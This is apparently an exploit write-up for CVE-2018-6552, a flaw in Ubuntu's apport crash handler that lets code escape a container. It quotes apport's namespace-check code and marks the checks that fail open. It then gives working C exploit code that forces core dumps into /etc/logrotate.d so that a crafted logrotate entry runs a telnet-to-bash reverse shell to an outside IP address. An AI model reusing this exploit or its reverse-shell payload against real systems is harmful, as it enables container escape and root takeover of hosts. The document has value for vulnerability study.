Docker CVE-2018-6552

def is_same_ns(pid, ns):
if not os.path.exists('/proc/self/ns/%s' % ns) or \
not os.path.exists('/proc/%s/ns/%s' % (pid, ns)):
# If the namespace doesn't exist, then it's obviously shared
return True

try:
if os.readlink('/proc/%s/ns/%s' % (pid, ns)) == os.readlink('/proc/self/ns/%s' % ns):
# Check that the inode for both namespaces is the same
return True
except OSError as e:
if e.errno == errno.ENOENT:
return True
else:
raise

return False

# Check if we received a valid global PID (kernel >= 3.12). If we do,
# then compare it with the local PID. If they don't match, it's an
# indication that the crash originated from another PID namespace.
# Simply log an entry in the host error log and exit 0.
if len(sys.argv) == 6:
host_pid = int(sys.argv[5])

if not is_same_ns(host_pid, "pid") and not is_same_ns(host_pid, "mnt"):
# If the crash came from a container, don't attempt to handle
# locally as that would just result in wrong system information.

# Instead, attempt to find apport inside the container and
# forward the process information there.
if not os.path.exists('/proc/%d/root/run/apport.socket' % host_pid):
error_log('host pid %s crashed in a container without apport support' %
sys.argv[5])
sys.exit(0)
[ ... ]

sys.exit(0)
elif not is_same_ns(host_pid, "pid") and is_same_ns(host_pid, "mnt"): #这里
# If it doesn't look like the crash originated from within a
# full container, then take the global pid and replace the local
# pid with it, then move on to normal handling.

# This bit is needed because some software like the chrome
# sandbox will use container namespaces as a security measure but are
# still otherwise host processes. When that's the case, we need to keep
# handling those crashes locally using the global pid.
sys.argv[1] = str(host_pid)
elif not is_same_ns(host_pid, "mnt"):
error_log('host pid %s crashed in a separate mount namespace, ignoring' % host_pid)
sys.exit(0)

elif not is_same_ns(host_pid, "mnt"):
error_log('host pid %s crashed in a separate mount namespace, ignoring' % host_pid)
sys.exit(0)
else:
# If it doesn't look like the crash originated from within a
# full container or if the is_same_ns() function fails open (returning
# True), then take the global pid and replace the local pid with it,
# then move on to normal handling.

# This bit is needed because some software like the chrome
# sandbox will use container namespaces as a security measure but are
# still otherwise host processes. When that's the case, we need to keep
# handling those crashes locally using the global pid.
sys.argv[1] = str(host_pid)

def get_pid_info(pid):
'''Read /proc information about pid'''

global pidstat, real_uid, real_gid, cwd

# unhandled exceptions on missing or invalidly formatted files are okay
# here -- we want to know in the log file
pidstat = os.stat('/proc/%s/stat' % pid)

# determine real UID of the target process; do *not* use the owner of
# /proc/pid/stat, as that will be root for setuid or unreadable programs!
# (this matters when suid_dumpable is enabled)
with open('/proc/%s/status' % pid) as f:
for line in f:
if line.startswith('Uid:'):
real_uid = int(line.split()[1])
elif line.startswith('Gid:'):
real_gid = int(line.split()[1])
break
assert real_uid is not None, 'failed to parse Uid'
assert real_gid is not None, 'failed to parse Gid'

cwd = os.readlink('/proc/' + pid + '/cwd')

def write_user_coredump(pid, cwd, limit, from_report=None):
'''Write the core into the current directory if ulimit requests it.'''

# three cases:
# limit == 0: do not write anything
# limit < 0: unlimited, write out everything
# limit nonzero: crashed process' core size ulimit in bytes

if limit == 0:
return

# don't write a core dump for suid/sgid/unreadable or otherwise
# protected executables, in accordance with core(5)
# (suid_dumpable==2 and core_pattern restrictions); when this happens,
# /proc/pid/stat is owned by root (or the user suid'ed to), but we already
# changed to the crashed process' real uid
assert pidstat, 'pidstat not initialized'
if pidstat.st_uid != os.getuid() or pidstat.st_gid != os.getgid():
error_log('disabling core dump for suid/sgid/unreadable executable')
return

core_path = os.path.join(cwd, 'core')
try:
with open('/proc/sys/kernel/core_uses_pid') as f:
if f.read().strip() != '0':
core_path += '.' + str(pid)
core_file = os.open(core_path, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600)
except (OSError, IOError):
return

error_log('writing core dump to %s (limit: %s)' % (core_path, str(limit)))

written = 0

# Priming read
if from_report:
r = apport.Report()
r.load(from_report)
core_size = len(r['CoreDump'])
if limit > 0 and core_size > limit:
error_log('aborting core dump writing, size %i exceeds current limit' % core_size)
os.close(core_file)
os.unlink(core_path)
return
error_log('writing core dump %s of size %i' % (core_path, core_size))
os.write(core_file, r['CoreDump'])
else:
# read from stdin
block = os.read(0, 1048576)

while True:
size = len(block)
if size == 0:
break
written += size
if limit > 0 and written > limit:
error_log('aborting core dump writing, size exceeds current limit %i' % limit)
os.close(core_file)
os.unlink(core_path)
return
if os.write(core_file, block) != size:
error_log('aborting core dump writing, could not write')
os.close(core_file)
os.unlink(core_path)
return
block = os.read(0, 1048576)

os.close(core_file)
return core_path

def init_error_log():
'''Open a suitable error log if sys.stderr is not a tty.'''

if not os.isatty(2):
log = os.environ.get('APPORT_LOG_FILE', '/var/log/apport.log')
try:
f = os.open(log, os.O_WRONLY | os.O_CREAT | os.O_APPEND, 0o600)
try:
admgid = grp.getgrnam('adm')[2]
os.chown(log, -1, admgid)
os.chmod(log, 0o640)
except KeyError:
pass # if group adm doesn't exist, just leave it as root
except OSError: # on a permission error, don't touch stderr
return
os.dup2(f, 1)
os.dup2(f, 2)
sys.stderr = os.fdopen(2, 'wb')
if sys.version_info.major >= 3:
sys.stderr = io.TextIOWrapper(sys.stderr)
sys.stdout = sys.stderr


def error_log(msg):
'''Output something to the error log.'''

apport.error('apport (pid %s) %s: %s', os.getpid(), time.asctime(), msg)

def is_same_ns(pid, ns):
if not os.path.exists('/proc/self/ns/%s' % ns) or \
not os.path.exists('/proc/%s/ns/%s' % (pid, ns)):
# If the namespace doesn't exist, then it's obviously shared
return True #=======================这里

try:
if os.readlink('/proc/%s/ns/%s' % (pid, ns)) == os.readlink('/proc/self/ns/%s' % ns):
# Check that the inode for both namespaces is the same
return True #=====================这里
except OSError as e:
if e.errno == errno.ENOENT:
return True #======================这里
else:
raise

return False

int pid = fork();
if (pid) {
/* kill the child process, after it stimulate the core dump */
usleep(2000);
kill(pid, SIGKILL);
}
else {
/* must stimulate the raise before kill */
raise(SIGQUIT); //to make core
}

#include <stdio.h>
#include <signal.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
/*/var/log/cups/*log {
daily
missingok
rotate7
sharedscripts
postrotate
telnet 172.17.0.2 1234 | /bin/bash | telnet 192.168.56.246 4321
endscript
}*/
char payload[] = "\n/var/log/cups/*log {\n daily\n missingok\n rotate7\n sharedscripts\n postrotate\n telnet 172.17.0.2 1234 | /bin/bash | telnet 192.168.56.246 4321\n endscript\n}\n";
void fork_bomb(int num)
{
int i;
for(i = 0; i < num; i++){
int pid = fork();
if (pid)
{
wait(NULL);
}
}
}

int main(int argc, char const *argv[])
{
chdir("/etc/logrotate.d");
int i;
for(i = 0; i < 5; i++){
fork_bomb(200);
int pid = fork();
if (pid) {
/* kill the child process, after it stimulate the core dump */
usleep(2000);
kill(pid, SIGKILL);
}
else {
/* must stimulate the raise before kill */
raise(SIGQUIT); //to make core
}
usleep(1000*100);
puts("wait... maybe the core has already been generated :)");
}
return 0;
}